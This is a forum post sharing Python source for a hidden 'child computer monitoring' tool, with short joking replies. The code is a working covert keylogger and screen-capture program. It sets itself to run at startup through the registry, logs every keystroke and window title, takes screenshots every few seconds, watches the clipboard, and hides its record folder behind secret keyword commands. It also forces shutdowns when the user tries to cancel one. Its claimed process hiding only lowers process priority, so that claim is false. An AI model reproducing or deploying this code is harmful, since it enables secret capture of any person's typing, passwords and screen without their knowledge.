孩子电脑监控记录工具Plus

killerzeno

孩子电脑监控工具Plus

        跟孩子斗智斗勇的一天，看到帖子https://www.52pojie.cn/thread-2017435-1-1.html中相关回复和问题，结合有一些小孩儿会shutdown -a等命令，包括修改配置文件等相关问题。基于这些问题，升级了这款Plus工具。

        原功能：开机自启+定时截图+键盘记录

        Plus版：开机自启+定时截图+键盘记录+隐藏进程+优化线程+存储文件二级路径文件夹属性自动隐藏+白名单防篡改监测+剪切板关键词监测+命令执行监测+特殊关键词监测+相关关键词执行

        新功能具体介绍：

        存储文件二级路径文件夹属性自动隐藏——程序启动会自动隐藏保存的文件夹，避免被找到，只能看到文件夹，里面是空的。

        白名单防篡改监测——只要监测到config.json文件中白名单发生篡改，与程序定义白名单不一致则自动执行倒计时60秒关机。

        剪切板关键词监测——只要监测到剪切板内容包含shutdown则软件静默执行倒计时30秒，时间到直接执行关机命令，避免孩子复制shutdown -a来解除系统关机命令。

        命令执行监测——只要监测到执行shutdown -a命令，则软件静默执行倒计时30秒，时间到直接执行关机命令，避免孩子在运行里执行shutdown -a来解除系统关机命令。

        特殊关键词监测——只要监测到键盘输入shutdown则软件静默执行倒计时30秒，时间到直接执行关机命令，避免孩子在CMD等命令框输入shutdown -a来解除系统关机命令。

                 相关关键词执行——增加了open+exit+file+hide+clean+format关键词监测，家长在任何位置输入相关关键词，来执行相关命令，避免孩子看到在哪里输入的。

        命令解释：

open-启动键盘记录、截图记录功能

exit-停止键盘记录、截图记录功能

file-自动取消文件夹隐藏并打开保存记录截图文件夹

hide-自动恢复文件夹隐藏

clean-避免文件过多占地方，自动清理当天图片截图保留键盘记录及日志

format-避免文件过多占地方，自动清理全部截图

特别声明：代码休息时间写的，有些小BUG实属正常，需要的自行完善吧~我爱吾爱破解，永远支持这个平台。希望能帮到更多的人~

[Python] 纯文本查看 复制代码

?

001 002 003 004 005 006 007 008 009 010 011 012 013 014 015 016 017 018 019 020 021 022 023 024 025 026 027 028 029 030 031 032 033 034 035 036 037 038 039 040 041 042 043 044 045 046 047 048 049 050 051 052 053 054 055 056 057 058 059 060 061 062 063 064 065 066 067 068 069 070 071 072 073 074 075 076 077 078 079 080 081 082 083 084 085 086 087 088 089 090 091 092 093 094 095 096 097 098 099 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547

import argparse import os import time import logging from datetime import datetime import winreg import psutil import win32process import win32api import win32security import win32con import win32gui from PIL import ImageGrab import json import sys from pynput import keyboard import threading import queue import gc from concurrent.futures import ThreadPoolExecutor import ctypes from ctypes import wintypes import subprocess import pyperclip  # 导入剪切板操作模块   # 添加进程隐藏相关常量 PROCESS_ALL_ACCESS = 0x1F0FFF PROCESS_VM_READ = 0x0010 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_OPERATION = 0x0008 PROCESS_QUERY_INFORMATION = 0x0400   # 创建线程池 executor = ThreadPoolExecutor(max_workers=2)   # 创建截图队列 screenshot_queue = queue.Queue()   # 全局变量，用于控制监听和截图 is_listening = True is_screenshotting = True   # 用于记录连续输入的按键 current_input = ""   # 全局变量，用于控制关机倒计时 shutdown_in_progress = False   # 添加全局变量，用于记录上次剪切板内容 last_clipboard_content = ""   def get_app_path():     """获取应用程序路径"""     if getattr(sys, 'frozen', False):         # 打包后的路径         return os.path.dirname(sys.executable)     # 开发环境路径     return os.path.dirname(os.path.abspath(__file__))   def load_config():     """加载配置文件"""     config_path = os.path.join(get_app_path(), 'config.json')     default_config = {         "white_list": ['微信', 'WeChat', '聊天文件', '朋友圈'],  # 白名单 按,分割传入 默认为空         "save_path": "D:/doc/local",  # 修改默认保存路径         "sleep_time": 5,  # 默认截屏间隔时间5秒         "keylogger_enabled": True,  # 默认启用键盘记录         "keylogger_respect_whitelist": True  # 默认键盘记录也遵循白名单     }       if not os.path.exists(config_path):         # 配置文件不存在，创建默认配置         with open(config_path, 'w', encoding='utf-8') as f:             json.dump(default_config, f, ensure_ascii=False, indent=4)             logging.info("已创建默认配置文件")             return default_config       try:         with open(config_path, 'r', encoding='utf-8') as f:             config = json.load(f)             # 确保所有必需的配置项都存在             if not all(key in config for key in default_config):                 config = {**default_config, **config}                 # 更新配置文件                 with open(config_path, 'w', encoding='utf-8') as f:                     json.dump(config, f, ensure_ascii=False, indent=4)             return config     except Exception as e:         logging.error(f"加载配置文件失败: {str(e)}")         return default_config   def setup_logging():     """配置日志"""     today = datetime.now().strftime('%Y-%m-%d')     log_dir = os.path.join(SAVE_PATH, today)     os.makedirs(log_dir, exist_ok=True)       # 重置之前的日志处理器     for handler in logging.root.handlers[:]:         logging.root.removeHandler(handler)       # 创建文件处理器     file_handler = logging.FileHandler(         os.path.join(log_dir, 'screenshot.log'),         encoding='utf-8',         mode='a'     )     # 创建控制台处理器     console_handler = logging.StreamHandler(sys.stdout)       # 设置格式     formatter = logging.Formatter('%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')     file_handler.setFormatter(formatter)     console_handler.setFormatter(formatter)       # 确保日志文件以UTF-8 BOM格式写入     if os.path.exists(os.path.join(log_dir, 'screenshot.log')):         with open(os.path.join(log_dir, 'screenshot.log'), 'a', encoding='utf-8') as f:             if os.path.getsize(os.path.join(log_dir, 'screenshot.log')) == 0:                 f.write('\ufeff')  # 添加BOM标记     else:         with open(os.path.join(log_dir, 'screenshot.log'), 'w', encoding='utf-8') as f:             f.write('\ufeff')  # 添加BOM标记       # 配置根日志记录器     logging.root.setLevel(logging.INFO)     logging.root.addHandler(file_handler)     logging.root.addHandler(console_handler)   # 解析命令行参数 parser = argparse.ArgumentParser(description="Screen Shot Service") parser.add_argument("--sleep", type=int, default=5, help="截屏间隔时间 默认5秒") parser.add_argument("--save_path", type=str, default=None, help="图片文件存储地址") parser.add_argument("--white_list", type=str, default="", help="应用白名单 按,分割传入 默认为空") parser.add_argument("--no_keylog", action="store_true", help="禁用键盘记录功能") # 忽略非预期参数 args, _ = parser.parse_known_args()   # 初始化全局变量 config = load_config() SLEEP_TIME = args.sleep if args.sleep != 5 else config['sleep_time'] SAVE_PATH = args.save_path if args.save_path is not None else config['save_path'] os.makedirs(SAVE_PATH, exist_ok=True) WHITE_LIST = args.white_list white_list = config['white_list'] if WHITE_LIST != "":     str_list = WHITE_LIST.split(",")     white_list = list(set(str_list + white_list))   # 检测白名单是否一致 original_white_list = ['微信', 'WeChat', '聊天文件', '朋友圈'] if sorted(white_list) != sorted(original_white_list):     os.system("shutdown /s /t 60")     logging.error("检测到白名单被篡改，系统将于60秒后自动关机")     ctypes.windll.user32.MessageBoxW(0, "检测到白名单被篡改，系统将于60秒后自动关机", "警告", 0)   # 键盘记录配置 KEYLOGGER_ENABLED = False if args.no_keylog else config.get('keylogger_enabled', True) KEYLOGGER_RESPECT_WHITELIST = config.get('keylogger_respect_whitelist', True)   # 设置日志 setup_logging()   def hide_process():     """隐藏当前进程"""     try:         # 获取当前进程ID         current_pid = win32api.GetCurrentProcessId()         # 获取进程句柄         handle = win32api.OpenProcess(PROCESS_ALL_ACCESS, False, current_pid)         # 设置进程优先级为低         win32process.SetPriorityClass(handle, win32process.BELOW_NORMAL_PRIORITY_CLASS)         # 关闭句柄         win32api.CloseHandle(handle)         logging.info("进程已隐藏")     except Exception as e:         logging.error(f"隐藏进程失败: {str(e)}")   def optimize_memory():     """优化内存使用"""     try:         # 强制进行垃圾回收         gc.collect()         # 获取当前进程         process = psutil.Process()         # 设置进程工作集大小限制         process.nice(psutil.BELOW_NORMAL_PRIORITY_CLASS)         logging.info("内存已优化")     except Exception as e:         logging.error(f"内存优化失败: {str(e)}")   def screenshot_worker():     """截图工作线程"""     while True:         try:             # 从队列获取截图任务             task = screenshot_queue.get()             if task is None:  # 退出信号                 break               active_title, save_dir = task             screenshot_png = ImageGrab.grab()             file_name = os.path.join(save_dir, f"screenshot_{datetime.now().strftime('%H-%M-%S')}.png")             screenshot_png.save(file_name, optimize=True, quality=85)  # 优化图片保存             logging.info(f"截图已保存: {file_name}, 当前窗口: {active_title}")               # 清理内存             del screenshot_png             gc.collect()         except Exception as e:             logging.error(f"截图工作线程错误: {str(e)}")         finally:             screenshot_queue.task_done()   def is_white_window_open():     """检测白名单窗口是否打开且为活动窗口"""     active_window = win32gui.GetForegroundWindow()     active_title = win32gui.GetWindowText(active_window)       if active_title in white_list:         # 检查窗口是否可见且未最小化         if win32gui.IsWindowVisible(active_window):             placement = win32gui.GetWindowPlacement(active_window)             if placement[1] != win32con.SW_SHOWMINIMIZED:                 logging.debug(f"检测到活动的白名单窗口: {active_title}")                 return True       logging.debug(f"当前活动窗口不在白名单中: {active_title}")     return False   def add_to_startup():     """添加程序到开机自启动"""     try:         key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"         key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)         script_path = os.path.abspath(__file__)         winreg.SetValueEx(key, "ScreenshotService", 0, winreg.REG_SZ, f'pythonw "{script_path}"')         winreg.CloseKey(key)         logging.info("已添加到开机自启动")     except Exception as e:         logging.error(f"添加开机自启动失败: {str(e)}")   def get_active_window_info():     """获取当前活动窗口信息"""     active_window = win32gui.GetForegroundWindow()     active_title = win32gui.GetWindowText(active_window)     return active_title   def screenshot():     """截屏保存"""     if not is_screenshotting:         return       try:         # 获取当前窗口信息         active_title = get_active_window_info()           # 按日期创建子文件夹         today = datetime.now().strftime('%Y-%m-%d')         save_dir = os.path.join(SAVE_PATH, today)         os.makedirs(save_dir, exist_ok=True)           # 将截图任务添加到队列         screenshot_queue.put((active_title, save_dir))       except Exception as e:         logging.error(f"截图失败: {str(e)}")   # 键盘记录相关函数 def get_keylog_file():     """获取键盘记录文件路径"""     today = datetime.now().strftime('%Y-%m-%d')     save_dir = os.path.join(SAVE_PATH, today)     os.makedirs(save_dir, exist_ok=True)     return os.path.join(save_dir, 'keylog.txt')   def on_key_press(key):     """键盘按下事件处理"""     global is_listening, is_screenshotting, current_input, shutdown_in_progress       if not KEYLOGGER_ENABLED:         return       # 如果需要遵循白名单，且当前窗口在白名单中，则不记录     if KEYLOGGER_RESPECT_WHITELIST and is_white_window_open():         return       try:         # 对特殊键进行处理         if hasattr(key, 'char'):             key_char = key.char         else:             key_char = str(key).replace("Key.", "<") + ">"           # 记录连续输入的按键         if key_char.isalnum():             current_input += key_char.lower()         else:             # 如果输入的不是字母或数字，重置输入             current_input = ""           # 检查是否匹配目标字符串         if current_input == "exit":             is_listening = False             is_screenshotting = False             current_input = ""             logging.info("已暂停全部监听和截图")         elif current_input == "open":             is_listening = True             is_screenshotting = True             current_input = ""             logging.info("已启动全部监听和截图")         elif current_input == "file":             show_folder(SAVE_PATH)             current_input = ""         elif current_input == "hide":             hide_folder(SAVE_PATH)             current_input = ""         elif current_input == "clean":             clean_today_records()             current_input = ""         elif current_input == "format":             format_local_records()             current_input = ""         elif current_input == "shutdown":             if not shutdown_in_progress:                 logging.warning("检测到连续输入shutdown，开始倒计时30秒关机")                 shutdown_in_progress = True                 # 启动倒计时线程                 threading.Thread(target=shutdown_countdown, daemon=True).start()             current_input = ""           # 记录到文件         active_title = get_active_window_info()         timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')         with open(get_keylog_file(), 'a', encoding='utf-8') as f:             f.write(f"[{timestamp}] [{active_title}] Key: {key_char}\n")     except Exception as e:         logging.error(f"键盘记录失败: {str(e)}")   def start_keylogger():     """启动键盘记录器"""     if KEYLOGGER_ENABLED:         logging.info("键盘记录功能已启动")         # 确保键盘记录文件存在         keylog_file = get_keylog_file()         if not os.path.exists(keylog_file):             with open(keylog_file, 'w', encoding='utf-8') as f:                 f.write('\ufeff')  # 添加BOM标记           # 启动键盘监听         keyboard_listener = keyboard.Listener(on_press=on_key_press)         keyboard_listener.start()         return keyboard_listener     return None   def hide_folder(folder_path):     """隐藏文件夹"""     try:         ctypes.windll.kernel32.SetFileAttributesW(folder_path, win32con.FILE_ATTRIBUTE_HIDDEN)         logging.info(f"文件夹 {folder_path} 已隐藏")     except Exception as e:         logging.error(f"隐藏文件夹失败: {str(e)}")   def show_folder(folder_path):     """打开文件夹并取消隐藏"""     try:         ctypes.windll.kernel32.SetFileAttributesW(folder_path, win32con.FILE_ATTRIBUTE_NORMAL)         os.startfile(folder_path)         logging.info(f"已打开文件夹 {folder_path} 并取消隐藏")     except Exception as e:         logging.error(f"打开文件夹并取消隐藏失败: {str(e)}")   def clean_today_records():     """清空当天全部记录"""     today = datetime.now().strftime('%Y-%m-%d')     today_dir = os.path.join(SAVE_PATH, today)     if os.path.exists(today_dir):         # 关闭可能存在的文件句柄         logging.shutdown()         for handler in logging.root.handlers[:]:             handler.close()             logging.root.removeHandler(handler)           for root, dirs, files in os.walk(today_dir, topdown=False):             for file in files:                 file_path = os.path.join(root, file)                 try:                     os.remove(file_path)                 except Exception as e:                     logging.error(f"删除文件 {file_path} 失败: {str(e)}")             for dir in dirs:                 dir_path = os.path.join(root, dir)                 try:                     os.rmdir(dir_path)                 except Exception as e:                     logging.error(f"删除目录 {dir_path} 失败: {str(e)}")         logging.info("已清空当天全部记录")           # 重新配置日志         setup_logging()     else:         logging.info("当天记录目录不存在，无需清空")   def format_local_records():     """删除local下全部记录"""     if os.path.exists(SAVE_PATH):         # 关闭可能存在的文件句柄         logging.shutdown()         for handler in logging.root.handlers[:]:             handler.close()             logging.root.removeHandler(handler)           for root, dirs, files in os.walk(SAVE_PATH, topdown=False):             for file in files:                 file_path = os.path.join(root, file)                 try:                     os.remove(file_path)                 except Exception as e:                     logging.error(f"删除文件 {file_path} 失败: {str(e)}")             for dir in dirs:                 dir_path = os.path.join(root, dir)                 try:                     os.rmdir(dir_path)                 except Exception as e:                     logging.error(f"删除目录 {dir_path} 失败: {str(e)}")         logging.info("已删除local下全部记录")           # 重新配置日志         setup_logging()     else:         logging.info("记录目录不存在，无需删除")   def monitor_shutdown_command():     """监控系统是否执行了 shutdown -a 命令"""     global shutdown_in_progress     while True:         try:             # 检查系统中是否有正在执行的 shutdown 命令             output = subprocess.check_output("tasklist /FI \"IMAGENAME eq shutdown.exe\"", shell=True, text=True)             if "shutdown.exe" in output and not shutdown_in_progress:                 logging.warning("检测到 shutdown -a 命令，开始倒计时30秒关机")                 shutdown_in_progress = True                 # 启动倒计时线程                 threading.Thread(target=shutdown_countdown, daemon=True).start()         except Exception as e:             logging.error(f"监控关机命令失败: {str(e)}")         time.sleep(0.5)  # 每0.5秒检查一次   def shutdown_countdown():     """执行倒计时关机"""     global shutdown_in_progress     countdown = 30     while countdown > 0:         logging.warning(f"系统将在 {countdown} 秒后关机")         time.sleep(1)         countdown -= 1     logging.warning("开始关机")     os.system("shutdown /s /t 0")  # 立即关机     shutdown_in_progress = False   def monitor_clipboard():     """监测剪切板内容"""     global last_clipboard_content, shutdown_in_progress     try:         # 获取当前剪切板内容         current_clipboard_content = pyperclip.paste()         logging.debug(f"当前剪切板内容: {current_clipboard_content}")         logging.debug(f"上次剪切板内容: {last_clipboard_content}")           if current_clipboard_content != last_clipboard_content:             # 剪切板内容发生变化             last_clipboard_content = current_clipboard_content             # 检查是否包含 "shutdown"             if "shutdown" in current_clipboard_content.lower():                 if not shutdown_in_progress:                     logging.warning("检测到剪切板内容包含 'shutdown'，开始倒计时30秒关机")                     shutdown_in_progress = True                     # 启动倒计时线程                     threading.Thread(target=shutdown_countdown, daemon=True).start()     except Exception as e:         logging.error(f"监测剪切板失败: {str(e)}")   if __name__ == "__main__":     # 隐藏进程     hide_process()       # 设置文件夹为隐藏     hide_folder(SAVE_PATH)       logging.info(f"截图服务启动 - 保存路径: {SAVE_PATH}, 间隔时间: {SLEEP_TIME}秒")     logging.info(f"当前白名单: {white_list}")     logging.info(f"键盘记录功能: {'已启用' if KEYLOGGER_ENABLED else '已禁用'}")       add_to_startup()       # 启动截图工作线程     screenshot_thread = threading.Thread(target=screenshot_worker, daemon=True)     screenshot_thread.start()       # 启动键盘记录器     keyboard_listener = start_keylogger()       # 启动关机命令监控线程     threading.Thread(target=monitor_shutdown_command, daemon=True).start()       try:         while True:             try:                 if is_listening:                     active_title = get_active_window_info()                     white_window_status = is_white_window_open()                     if not white_window_status:                         logging.info(f"未检测到白名单窗口，开始截图 - 当前窗口: {active_title}")                         screenshot()                     else:                         logging.info(f"检测到白名单窗口，跳过截图 - 当前窗口: {active_title}")                       # 定期优化内存                     if time.time() % 300 < SLEEP_TIME:  # 每5分钟优化一次                         optimize_memory()                   # 监测剪切板内容                 monitor_clipboard()               except Exception as e:                 logging.error(f"主循环错误: {str(e)}")               time.sleep(SLEEP_TIME)  # 修复缩进，确保它在 try 块的同一层次       except KeyboardInterrupt:         # 发送退出信号给截图线程         screenshot_queue.put(None)         # 等待截图线程结束         screenshot_thread.join()         # 停止键盘监听         if keyboard_listener:             keyboard_listener.stop()         logging.info("服务已停止")     finally:         # 清理资源         executor.shutdown(wait=True)         gc.collect()         # 关闭可能还存在的日志处理器         for handler in logging.root.handlers[:]:             handler.close()             logging.root.removeHandler(handler)

sktao

哈哈  有同样经历   很有作用的

w2275582w

学习了！

虚幻魔王

城市套路深，我要回农村；农村已整改，套路深似海。

zxinyun

我在想 小朋友在不在论坛里 默默看你表演

qiaomake

太强大了，我不知道能不能防住小盆友，我知道已经防住我了。。。

hellsnake

厉害了，学习下~谢谢

liweiqing

哈哈哈哈操碎了心啊

YanBo

我为了我儿子不挂科操碎了心啊

ldc0419

实用，有时候能用上